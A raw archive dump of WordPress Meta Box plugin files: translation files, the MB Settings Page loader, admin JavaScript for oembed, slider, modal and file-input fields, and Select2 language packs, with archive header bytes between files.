"X-Poedit-SearchPathExcluded-3: css\n"
"X-Poedit-SearchPathExcluded-4: lang\n"

#: inc/settings-page.php:163
msgid "Save Settings"
msgstr ""

#: inc/settings-page.php:224
msgid "Settings saved."
msgstr ""
PK     0w\0le    B  dashboard/lib/mb-settings-page/languages/mb-settings-page-pt-br.monu [            	      d                      H         0  
   A     L     Z     j  ,   }            f          
   '     2     I     a  ,   t                                   	           1.3.3 Add-on for meta box plugin which helps you create settings pages easily. MB Settings Page MetaBox.io Save Settings Settings saved. https://metabox.io https://metabox.io/plugins/mb-settings-page/ Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
Project-Id-Version: WPML_EXPORT_mb-settings-page
POT-Creation-Date: 
PO-Revision-Date: 
Last-Translator: 
Language-Team: 
Language: pt_BR
MIME-Version: 1.0
X-Generator: Poedit 2.1.1
 1.3.3 Complemento para o plugin Meta Box, que ajuda você a criar facilmente as páginas de configurações. MB Settings Page MetaBox.io Salvar configurações Configurações salvas. https://metabox.io https://metabox.io/plugins/mb-settings-page/ PK     0w\    3  dashboard/lib/mb-settings-page/mb-settings-page.phpnu [        <?php
/**
 * Plugin Name: MB Settings Page
 * Plugin URI:  https://metabox.io/plugins/mb-settings-page/
 * Description: Add-on for meta box plugin which helps you create settings pages easily.
 * Version:     2.1.2
 * Author:      MetaBox.io
 * Author URI:  https://metabox.io
 * License:     GPL2+
 * Text Domain: mb-settings-page
 * Domain Path: /languages/
 *
 * @package Meta Box
 * @subpackage MB Settings Page
 */

// Prevent loading this file directly.
defined( 'ABSPATH' ) || die;

if ( ! function_exists( 'mb_settings_page_load' ) ) {
	if ( file_exists( __DIR__ . '/vendor' ) ) {
		require __DIR__ . '/vendor/autoload.php';
	}

	/**
	 * Hook to 'init' with priority 5 to make sure all actions are registered before Meta Box 4.9.0 runs
	 */
	add_action( 'init', 'mb_settings_page_load', 5 );

	/**
	 * Load plugin files after Meta Box is loaded
	 */
	function mb_settings_page_load() {
		if ( ! defined( 'RWMB_VER' ) ) {
			return;
		}

		list( , $url ) = \RWMB_Loader::get_path( __DIR__ );
		define( 'MBSP_URL', $url );

		new MBSP\Loader;
		new MBSP\Customizer\Manager;

		load_plugin_textdomain( 'mb-settings-page', false, plugin_basename( __DIR__ ) . '/languages/' );
	}
}
PK     0w\Ip  p  #  dashboard/lib/meta-box/js/oembed.jsnu [        ( function ( $, _, rwmb ) {
	'use strict';

	/**
	 * Show preview of oembeded media.
	 */
	function showPreview( e ) {
		e.preventDefault();

		var $this = $( this ),
			$spinner = $this.siblings( '.spinner' ),
			data = {
				action: 'rwmb_get_embed',
				url: this.value,
				_ajax_nonce: rwmbOembed.nonce,
				not_available: $this.data( 'not-available' ),
			};

		$spinner.css( 'visibility', 'visible' );
		$.post( ajaxurl, data, function ( response ) {
			$spinner.css( 'visibility', 'hidden' );
			$this.siblings( '.rwmb-embed-media' ).html( response.data );
		}, 'json' );
	}

	/**
	 * Remove oembed preview when cloning.
	 */
	function removePreview() {
		$( this ).siblings( '.rwmb-embed-media' ).html( '' );
	}

	rwmb.$document
		.on( 'change', '.rwmb-oembed', _.debounce( showPreview, 250 ) )
	    .on( 'clone', '.rwmb-oembed', removePreview );
} )( jQuery, _, rwmb );
PK     0w\ ;    #  dashboard/lib/meta-box/js/slider.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function transform() {
		var $input  = $( this ),
			$slider = $input.siblings( '.rwmb-slider-ui' ),
			$label  = $slider.siblings( '.rwmb-slider-label' ).find( 'span' ),
			value   = $input.val(),
			options = $slider.data( 'options' );

		$slider.html( '' );
		$label.text( value );

		if ( true === options.range ) {
			value = value.split( '|' );
			options.values = value;
		} else {
			options.value = value;
		}

		options.slide = function ( event, ui ) {
			var value = ui.value;
			if ( options.range === true ) {
				value = ui.values[ 0 ] + '|' + ui.values[ 1 ];
			}

			$input.val( value ).trigger( 'change' );
			$label.html( value );
		};

		$slider.slider( options );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-slider' ).each( transform );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-slider', transform );
} )( jQuery, rwmb );
PK     0w\S
    "  dashboard/lib/meta-box/js/modal.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	const $body = $( 'body' );

	const defaultOptions = {
		wrapper: `<div class="rwmb-modal">
			<div class="rwmb-modal-title">
				<h2></h2>
				<button type="button" class="rwmb-modal-close">&times;</button>
			</div>
			<div class="rwmb-modal-content"></div>
		</div>`,
		markupIframe: '<iframe id="rwmb-modal-iframe" width="100%" height="700" src="{URL}" border="0"></iframe>',
		markupOverlay: '<div class="rwmb-modal-overlay"></div>',
		removeElement: '',
		removeElementDefault: '#adminmenumain, #wpadminbar, #wpfooter, .row-actions, .form-wrap.edit-term-notes, #screen-meta-links, .wp-heading-inline, .wp-header-end',
		callback: null,
		closeModalCallback: null,
		isBlockEditor: false,
		$objectId: null,
		$objectDisplay: null
	};

	$.fn.rwmbModal = function ( options = {} ) {
		options = {
			...defaultOptions,
			...options
		};

		if ( $( '.rwmb-modal' ).length === 0 ) {
			return;
		}

		const $this = $( this ),
			$modal = $( '.rwmb-modal' );

		let $input = $this.closest( '.rwmb-input' );
		if ( $input.find( '.rwmb-clone' ).length > 0 && $this.closest( '.rwmb-clone' ).length > 0 ) {
			$input = $this.closest( '.rwmb-clone' );
		}

		$this.click( function ( e ) {
			e.preventDefault();

			$modal.find( '.rwmb-modal-title h2' ).html( $this.html() );
			$modal.find( '.rwmb-modal-content' ).html( options.markupIframe.replace( '{URL}', $this.data( 'url' ) ) );
			$( '#rwmb-modal-iframe' ).on( 'load', function () {
				const $contents = $( this ).contents();
				options.isBlockEditor = $contents.find( 'body' ).hasClass( 'block-editor-page' );

				if ( options.removeElement !== '' ) {
					$contents.find( options.removeElement ).remove();
				}

				$modal.find( '.rwmb-modal-title' ).css( 'background-color', '' );
				if ( options.isBlockEditor ) {
					$modal.find( '.rwmb-modal-title' ).css( 'background-color', '#fff' );
				}

				$contents
					.find( options.removeElementDefault ).remove().end()
					.find( '.rwmb-modal-add-button' ).parent().remove();
				$contents.find( 'html' ).css( 'padding-top', 0 ).end()
					.find( '#wpcontent' ).css( 'margin-left', 0 ).end()
					.find( 'a' ).on( 'click', e => e.preventDefault() );

				if ( options.callback !== null && typeof options.callback === 'function' ) {
					options.callback( $modal, $contents );
				}

				$body.addClass( 'rwmb-modal-show' );
				$( '.rwmb-modal-overlay' ).fadeIn( 'medium' );
				$modal.fadeIn( 'medium' );

				return false;
			} );

			$( '.rwmb-modal-close' ).on( 'click', function ( event ) {
				if ( options.closeModalCallback !== null && typeof options.closeModalCallback === 'function' ) {
					options.closeModalCallback( $( '#rwmb-modal-iframe' ).contents(), $input );
				}

				$modal.fadeOut( 'medium' );
				$( '.rwmb-modal-overlay' ).fadeOut( 'medium' );
				$body.removeClass( 'rwmb-modal-show' );

				// If not add new
				if ( !options.$objectId || !options.$objectDisplay ) {
					$( this ).off( event );
					return;
				}

				// Select, select advanced, select tree.
				const $select = $input.find( 'select' );
				if ( $select.length > 0 ) {
					$select.prepend( $( '<option>', {
						value: options.$objectId,
						text: options.$objectDisplay,
						selected: true
					} ) );

					$( this ).off( event );
					return;
				}

				// Radio, checkbox list, checkbox tree
				const $inputList = $input.find( '.rwmb-input-list:first' ),
					$labelClone = $inputList.find( '> label:first' ).clone(),
					$inputClone = $labelClone.find( 'input' ).clone();

				$labelClone.html(
					$inputClone.val( options.$objectId )
						.attr( 'checked', true )
						.prop( 'outerHTML' ) + options.$objectDisplay
				);
				$inputList.prepend( $labelClone );

				// Clear event after close modal.
				options.$objectId = null;
				options.$objectDisplay = null;
				$( this ).off( event );
			} );
		} );
	};

	if ( $( '.rwmb-modal' ).length === 0 ) {
		$body.append( defaultOptions.wrapper )
			.append( defaultOptions.markupOverlay );
	}

} )( jQuery, rwmb );PK     0w\    )  dashboard/lib/meta-box/js/button-group.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function setActiveClass() {
		var $this = $( this ),
			$input = $this.find( 'input' ),
			$label = $input.parent();

		if ( $input.prop( 'checked' ) ) {
			$label.addClass( 'selected' );
		} else {
			$label.removeClass( 'selected' );
		}
	}

	function clickHandler() {
		var $this = $( this ),
			$input = $this.find( 'input' ),
			$label = $input.parent(),
			type = $input.attr( 'type' ),
			$allLabels = $this.parent().find( 'label' );
		if ( ! $input.prop( 'checked' ) ) {
			$label.removeClass( 'selected' );
			return;
		}
		$label.addClass( 'selected' );

		if ( 'radio' === type ) {
			$allLabels.removeClass( 'selected' );
			$label.addClass( 'selected' );
		}
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-button-input-list label' ).each( setActiveClass );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'click', '.rwmb-button-input-list label', clickHandler )
		.on( 'clone', '.rwmb-button-input-list label', setActiveClass );
} )( jQuery, rwmb );
PK     0w\ y  y  '  dashboard/lib/meta-box/js/file-input.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	var frame;

	function openSelectPopup( e ) {
		e.preventDefault();
		var $el = $( this );

		// Create a frame only if needed
		if ( ! frame ) {
			frame = wp.media( {
				className: 'media-frame rwmb-file-frame',
				multiple: false,
				title: rwmbFileInput.frameTitle
			} );
		}

		// Open media uploader
		frame.open();

		// Remove all attached 'select' event
		frame.off( 'select' );

		// Handle selection
		frame.on( 'select', function () {
			var url = frame.state().get( 'selection' ).first().toJSON().url;
			$el.siblings( 'input' ).val( url ).trigger( 'change' ).siblings( 'a' ).removeClass( 'hidden' );
		} );
	}

	function changeValueInput( e ) {
		e.preventDefault();
		var $el = $( this ),
			url = $el.val(),
			fileType = url.split( '.' ).pop().toLowerCase(),
			imageTypes = [ 'gif', 'jpeg', 'png', 'jpg' ],
			validImageTypes = imageTypes.includes( fileType );

		if ( validImageTypes ) {
			$el.closest( '.rwmb-file-input-inner' ).siblings( '.rwmb-file-input-image' ).removeClass( 'rwmb-file-input-hidden' ).find( 'img' ).attr( 'src', url );
		} else {
			$el.closest( '.rwmb-file-input-inner' ).siblings( '.rwmb-file-input-image' ).addClass( 'rwmb-file-input-hidden' );
		}
	}

	function clearSelection( e ) {
		e.preventDefault();
		$( this ).addClass( 'hidden' ).siblings( 'input' ).val( '' ).trigger( 'change' );
		$( this ).closest( '.rwmb-file-input-inner' ).siblings( '.rwmb-file-input-image' ).addClass( 'rwmb-file-input-hidden' );
	}

	function hideRemoveButtonWhenCloning() {
		$( this ).siblings( '.rwmb-file-input-remove' ).addClass( 'hidden' );
	}

	rwmb.$document
		.on( 'click', '.rwmb-file-input-select', openSelectPopup )
		.on( 'input change', '.rwmb-file_input', changeValueInput )
		.on( 'click', '.rwmb-file-input-remove', clearSelection )
		.on( 'clone', '.rwmb-file_input', hideRemoveButtonWhenCloning );
} )( jQuery, rwmb );
PK     0w\+    #  dashboard/lib/meta-box/js/script.jsnu [        // Global object for shared functions and data.
window.rwmb = window.rwmb || {};

( function( $, document, rwmb ) {
	'use strict';

	// Selectors for all plugin inputs.
	rwmb.inputSelectors = 'input[class*="rwmb"], textarea[class*="rwmb"], select[class*="rwmb"], button[class*="rwmb"]';

	// Detect Gutenberg.
	rwmb.isGutenberg = document.body.classList.contains( 'block-editor-page' );

	// Generate unique ID.
	rwmb.uniqid = () => Math.random().toString( 36 ).substr( 2 );

	// Trigger a custom ready event for all scripts to hook to.
	// Used for static DOM and dynamic DOM (loaded in MB Blocks extension for Gutenberg).
	rwmb.$document = $( document );

	$( function() {
		rwmb.$document.trigger( 'mb_ready' );
	} );
} )( jQuery, document, rwmb );PK     0w\    -  dashboard/lib/meta-box/js/select2/i18n/dsb.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/dsb",[],function(){var n=["znamuško","znamušce","znamuška","znamuškow"],e=["zapisk","zapiska","zapiski","zapiskow"],u=function(n,e){return 1===n?e[0]:2===n?e[1]:n>2&&n<=4?e[2]:n>=5?e[3]:void 0};return{errorLoading:function(){return"Wuslědki njejsu se dali zacytaś."},inputTooLong:function(e){var a=e.input.length-e.maximum;return"Pšosym lašuj "+a+" "+u(a,n)},inputTooShort:function(e){var a=e.minimum-e.input.length;return"Pšosym zapódaj nanejmjenjej "+a+" "+u(a,n)},loadingMore:function(){return"Dalšne wuslědki se zacytaju…"},maximumSelected:function(n){return"Móžoš jano "+n.maximum+" "+u(n.maximum,e)+"wubraś."},noResults:function(){return"Žedne wuslědki namakane"},searching:function(){return"Pyta se…"},removeAllItems:function(){return"Remove all items"}}}),n.define,n.require}();PK     0w\    ,  dashboard/lib/meta-box/js/select2/i18n/tr.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/tr",[],function(){return{errorLoading:function(){return"Sonuç yüklenemedi"},inputTooLong:function(n){return n.input.length-n.maximum+" karakter daha girmelisiniz"},inputTooShort:function(n){return"En az "+(n.minimum-n.input.length)+" karakter daha girmelisiniz"},loadingMore:function(){return"Daha fazla…"},maximumSelected:function(n){return"Sadece "+n.maximum+" seçim yapabilirsiniz"},noResults:function(){return"Sonuç bulunamadı"},searching:function(){return"Aranıyor…"},removeAllItems:function(){return"Tüm öğeleri kaldır"}}}),n.define,n.require}();PK     0w\2  2  ,  dashboard/lib/meta-box/js/select2/i18n/th.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/th",[],function(){return{errorLoading:function(){return"ไม่สามารถค้นข้อมูลได้"},inputTooLong:function(n){return"โปรดลบออก "+(n.input.length-n.maximum)+" ตัวอักษร"},inputTooShort:function(n){return"โปรดพิมพ์เพิ่มอีก "+(n.minimum-n.input.length)+" ตัวอักษร"},loadingMore:function(){return"กำลังค้นข้อมูลเพิ่ม…"},maximumSelected:function(n){return"คุณสามารถเลือกได้ไม่เกิน "+n.maximum+" รายการ"},noResults:function(){return"ไม่พบข้อมูล"},searching:function(){return"กำลังค้นข้อมูล…"},removeAllItems:function(){return"ลบรายการทั้งหมด"}}}),n.define,n.require}();PK     0w\`<  <  ,  dashboard/lib/meta-box/js/select2/i18n/da.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/da",[],function(){return{errorLoading:function(){return"Resultaterne kunne ikke indlæses."},inputTooLong:function(e){return"Angiv venligst "+(e.input.length-e.maximum)+" tegn mindre"},inputTooShort:function(e){return"Angiv venligst "+(e.minimum-e.input.length)+" tegn mere"},loadingMore:function(){return"Indlæser flere resultater…"},maximumSelected:function(e){var n="Du kan kun vælge "+e.maximum+" emne";return 1!=e.maximum&&(n+="r"),n},noResults:function(){return"Ingen resultater fundet"},searching:function(){return"Søger…"},removeAllItems:function(){return"Fjern alle elementer"}}}),e.define,e.require}();PK     0w\]X8n  n  ,  dashboard/lib/meta-box/js/select2/i18n/pt.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/pt",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var r=e.input.length-e.maximum,n="Por favor apague "+r+" ";return n+=1!=r?"caracteres":"caractere"},inputTooShort:function(e){return"Introduza "+(e.minimum-e.input.length)+" ou mais caracteres"},loadingMore:function(){return"A carregar mais resultados…"},maximumSelected:function(e){var r="Apenas pode seleccionar "+e.maximum+" ";return r+=1!=e.maximum?"itens":"item"},noResults:function(){return"Sem resultados"},searching:function(){return"A procurar…"},removeAllItems:function(){return"Remover todos os itens"}}}),e.define,e.require}();PK     0w\)ܛ    -  dashboard/lib/meta-box/js/select2/i18n/hsb.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hsb",[],function(){var n=["znamješko","znamješce","znamješka","znamješkow"],e=["zapisk","zapiskaj","zapiski","zapiskow"],u=function(n,e){return 1===n?e[0]:2===n?e[1]:n>2&&n<=4?e[2]:n>=5?e[3]:void 0};return{errorLoading:function(){return"Wuslědki njedachu so začitać."},inputTooLong:function(e){var a=e.input.length-e.maximum;return"Prošu zhašej "+a+" "+u(a,n)},inputTooShort:function(e){var a=e.minimum-e.input.length;return"Prošu zapodaj znajmjeńša "+a+" "+u(a,n)},loadingMore:function(){return"Dalše wuslědki so začitaja…"},maximumSelected:function(n){return"Móžeš jenož "+n.maximum+" "+u(n.maximum,e)+"wubrać"},noResults:function(){return"Žane wuslědki namakane"},searching:function(){return"Pyta so…"},removeAllItems:function(){return"Remove all items"}}}),n.define,n.require}();PK     0w\    ,  dashboard/lib/meta-box/js/select2/i18n/bg.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/bg",[],function(){return{inputTooLong:function(n){var e=n.input.length-n.maximum,u="Моля въведете с "+e+" по-малко символ";return e>1&&(u+="a"),u},inputTooShort:function(n){var e=n.minimum-n.input.length,u="Моля въведете още "+e+" символ";return e>1&&(u+="a"),u},loadingMore:function(){return"Зареждат се още…"},maximumSelected:function(n){var e="Можете да направите до "+n.maximum+" ";return n.maximum>1?e+="избора":e+="избор",e},noResults:function(){return"Няма намерени съвпадения"},searching:function(){return"Търсене…"},removeAllItems:function(){return"Премахнете всички елементи"}}}),n.define,n.require}();PK     0w\T$    ,  dashboard/lib/meta-box/js/select2/i18n/he.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/he",[],function(){return{errorLoading:function(){return"שגיאה בטעינת התוצאות"},inputTooLong:function(n){var e=n.input.length-n.maximum,r="נא למחוק ";return r+=1===e?"תו אחד":e+" תווים"},inputTooShort:function(n){var e=n.minimum-n.input.length,r="נא להכניס ";return r+=1===e?"תו אחד":e+" תווים",r+=" או יותר"},loadingMore:function(){return"טוען תוצאות נוספות…"},maximumSelected:function(n){var e="באפשרותך לבחור עד ";return 1===n.maximum?e+="פריט אחד":e+=n.maximum+" פריטים",e},noResults:function(){return"לא נמצאו תוצאות"},searching:function(){return"מחפש…"},removeAllItems:function(){return"הסר את כל הפריטים"}}}),n.define,n.require}();PK     0w\    ,  dashboard/lib/meta-box/js/select2/i18n/sl.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/sl",[],function(){return{errorLoading:function(){return"Zadetkov iskanja ni bilo mogoče naložiti."},inputTooLong:function(e){var n=e.input.length-e.maximum,t="Prosim zbrišite "+n+" znak";return 2==n?t+="a":1!=n&&(t+="e"),t},inputTooShort:function(e){var n=e.minimum-e.input.length,t="Prosim vpišite še "+n+" znak";return 2==n?t+="a":1!=n&&(t+="e"),t},loadingMore:function(){return"Nalagam več zadetkov…"},maximumSelected:function(e){var n="Označite lahko največ "+e.maximum+" predmet";return 2==e.maximum?n+="a":1!=e.maximum&&(n+="e"),n},noResults:function(){return"Ni zadetkov."},searching:function(){return"Iščem…"},removeAllItems:function(){return"Odstranite vse elemente"}}}),e.define,e.require}();PK     0w\ib  b  ,  dashboard/lib/meta-box/js/select2/i18n/de.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/de",[],function(){return{errorLoading:function(){return"Die Ergebnisse konnten nicht geladen werden."},inputTooLong:function(e){return"Bitte "+(e.input.length-e.maximum)+" Zeichen weniger eingeben"},inputTooShort:function(e){return"Bitte "+(e.minimum-e.input.length)+" Zeichen mehr eingeben"},loadingMore:function(){return"Lade mehr Ergebnisse…"},maximumSelected:function(e){var n="Sie können nur "+e.maximum+" Element";return 1!=e.maximum&&(n+="e"),n+=" auswählen"},noResults:function(){return"Keine Übereinstimmungen gefunden"},searching:function(){return"Suche…"},removeAllItems:function(){return"Entferne alle Elemente"}}}),e.define,e.require}();PK     0w\W  W  ,  dashboard/lib/meta-box/js/select2/i18n/ko.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ko",[],function(){return{errorLoading:function(){return"결과를 불러올 수 없습니다."},inputTooLong:function(n){return"너무 깁니다. "+(n.input.length-n.maximum)+" 글자 지워주세요."},inputTooShort:function(n){return"너무 짧습니다. "+(n.minimum-n.input.length)+" 글자 더 입력해주세요."},loadingMore:function(){return"불러오는 중…"},maximumSelected:function(n){return"최대 "+n.maximum+"개까지만 선택 가능합니다."},noResults:function(){return"결과가 없습니다."},searching:function(){return"검색 중…"},removeAllItems:function(){return"모든 항목 삭제"}}}),n.define,n.require}();PK     0w\N    ,  dashboard/lib/meta-box/js/select2/i18n/uk.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/uk",[],function(){function n(n,e,u,r){return n%100>10&&n%100<15?r:n%10==1?e:n%10>1&&n%10<5?u:r}return{errorLoading:function(){return"Неможливо завантажити результати"},inputTooLong:function(e){return"Будь ласка, видаліть "+(e.input.length-e.maximum)+" "+n(e.maximum,"літеру","літери","літер")},inputTooShort:function(n){return"Будь ласка, введіть "+(n.minimum-n.input.length)+" або більше літер"},loadingMore:function(){return"Завантаження інших результатів…"},maximumSelected:function(e){return"Ви можете вибрати лише "+e.maximum+" "+n(e.maximum,"пункт","пункти","пунктів")},noResults:function(){return"Нічого не знайдено"},searching:function(){return"Пошук…"},removeAllItems:function(){return"Видалити всі елементи"}}}),n.define,n.require}();PK     0w\ğL    ,  dashboard/lib/meta-box/js/select2/i18n/bn.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/bn",[],function(){return{errorLoading:function(){return"ফলাফলগুলি লোড করা যায়নি।"},inputTooLong:function(n){var e=n.input.length-n.maximum,u="অনুগ্রহ করে "+e+" টি অক্ষর মুছে দিন।";return 1!=e&&(u="অনুগ্রহ করে "+e+" টি অক্ষর মুছে দিন।"),u},inputTooShort:function(n){return n.minimum-n.input.length+" টি অক্ষর অথবা অধিক অক্ষর লিখুন।"},loadingMore:function(){return"আরো ফলাফল লোড হচ্ছে ..."},maximumSelected:function(n){var e=n.maximum+" টি আইটেম নির্বাচন করতে পারবেন।";return 1!=n.maximum&&(e=n.maximum+" টি আইটেম নির্বাচন করতে পারবেন।"),e},noResults:function(){return"কোন ফলাফল পাওয়া যায়নি।"},searching:function(){return"অনুসন্ধান করা হচ্ছে ..."}}}),n.define,n.require}();PK     0w\*    ,  dashboard/lib/meta-box/js/select2/i18n/sk.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/sk",[],function(){var e={2:function(e){return e?"dva":"dve"},3:function(){return"tri"},4:function(){return"štyri"}};return{errorLoading:function(){return"Výsledky sa nepodarilo načítať."},inputTooLong:function(n){var t=n.input.length-n.maximum;return 1==t?"Prosím, zadajte o jeden znak menej":t>=2&&t<=4?"Prosím, zadajte o "+e[t](!0)+" znaky menej":"Prosím, zadajte o "+t+" znakov menej"},inputTooShort:function(n){var t=n.minimum-n.input.length;return 1==t?"Prosím, zadajte ešte jeden znak":t<=4?"Prosím, zadajte ešte ďalšie "+e[t](!0)+" znaky":"Prosím, zadajte ešte ďalších "+t+" znakov"},loadingMore:function(){return"Načítanie ďalších výsledkov…"},maximumSelected:function(n){return 1==n.maximum?"Môžete zvoliť len jednu položku":n.maximum>=2&&n.maximum<=4?"Môžete zvoliť najviac "+e[n.maximum](!1)+" položky":"Môžete zvoliť najviac "+n.maximum+" položiek"},noResults:function(){return"Nenašli sa žiadne položky"},searching:function(){return"Vyhľadávanie…"},removeAllItems:function(){return"Odstráňte všetky položky"}}}),e.define,e.require}();PK     0w\JCw    ,  dashboard/lib/meta-box/js/select2/i18n/ka.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ka",[],function(){return{errorLoading:function(){return"მონაცემების ჩატვირთვა შეუძლებელია."},inputTooLong:function(n){return"გთხოვთ აკრიფეთ "+(n.input.length-n.maximum)+" სიმბოლოთი ნაკლები"},inputTooShort:function(n){return"გთხოვთ აკრიფეთ "+(n.minimum-n.input.length)+" სიმბოლო ან მეტი"},loadingMore:function(){return"მონაცემების ჩატვირთვა…"},maximumSelected:function(n){return"თქვენ შეგიძლიათ აირჩიოთ არაუმეტეს "+n.maximum+" ელემენტი"},noResults:function(){return"რეზულტატი არ მოიძებნა"},searching:function(){return"ძიება…"},removeAllItems:function(){return"ამოიღე ყველა ელემენტი"}}}),n.define,n.require}();PK     0w\T$=    ,  dashboard/lib/meta-box/js/select2/i18n/fr.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/fr",[],function(){return{errorLoading:function(){return"Les résultats ne peuvent pas être chargés."},inputTooLong:function(e){var n=e.input.length-e.maximum;return"Supprimez "+n+" caractère"+(n>1?"s":"")},inputTooShort:function(e){var n=e.minimum-e.input.length;return"Saisissez au moins "+n+" caractère"+(n>1?"s":"")},loadingMore:function(){return"Chargement de résultats supplémentaires…"},maximumSelected:function(e){return"Vous pouvez seulement sélectionner "+e.maximum+" élément"+(e.maximum>1?"s":"")},noResults:function(){return"Aucun résultat trouvé"},searching:function(){return"Recherche en cours…"},removeAllItems:function(){return"Supprimer tous les éléments"}}}),e.define,e.require}();PK     0w\%4
  
  ,  dashboard/lib/meta-box/js/select2/i18n/nb.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/nb",[],function(){return{errorLoading:function(){return"Kunne ikke hente resultater."},inputTooLong:function(e){return"Vennligst fjern "+(e.input.length-e.maximum)+" tegn"},inputTooShort:function(e){return"Vennligst skriv inn "+(e.minimum-e.input.length)+" tegn til"},loadingMore:function(){return"Laster flere resultater…"},maximumSelected:function(e){return"Du kan velge maks "+e.maximum+" elementer"},noResults:function(){return"Ingen treff"},searching:function(){return"Søker…"},removeAllItems:function(){return"Fjern alle elementer"}}}),e.define,e.require}();PK     0w\    ,  dashboard/lib/meta-box/js/select2/i18n/sq.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/sq",[],function(){return{errorLoading:function(){return"Rezultatet nuk mund të ngarkoheshin."},inputTooLong:function(e){var n=e.input.length-e.maximum,t="Të lutem fshi "+n+" karakter";return 1!=n&&(t+="e"),t},inputTooShort:function(e){return"Të lutem shkruaj "+(e.minimum-e.input.length)+" ose më shumë karaktere"},loadingMore:function(){return"Duke ngarkuar më shumë rezultate…"},maximumSelected:function(e){var n="Mund të zgjedhësh vetëm "+e.maximum+" element";return 1!=e.maximum&&(n+="e"),n},noResults:function(){return"Nuk u gjet asnjë rezultat"},searching:function(){return"Duke kërkuar…"},removeAllItems:function(){return"Hiq të gjitha sendet"}}}),e.define,e.require}();PK     0w\?  ?  ,  dashboard/lib/meta-box/js/select2/i18n/hu.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

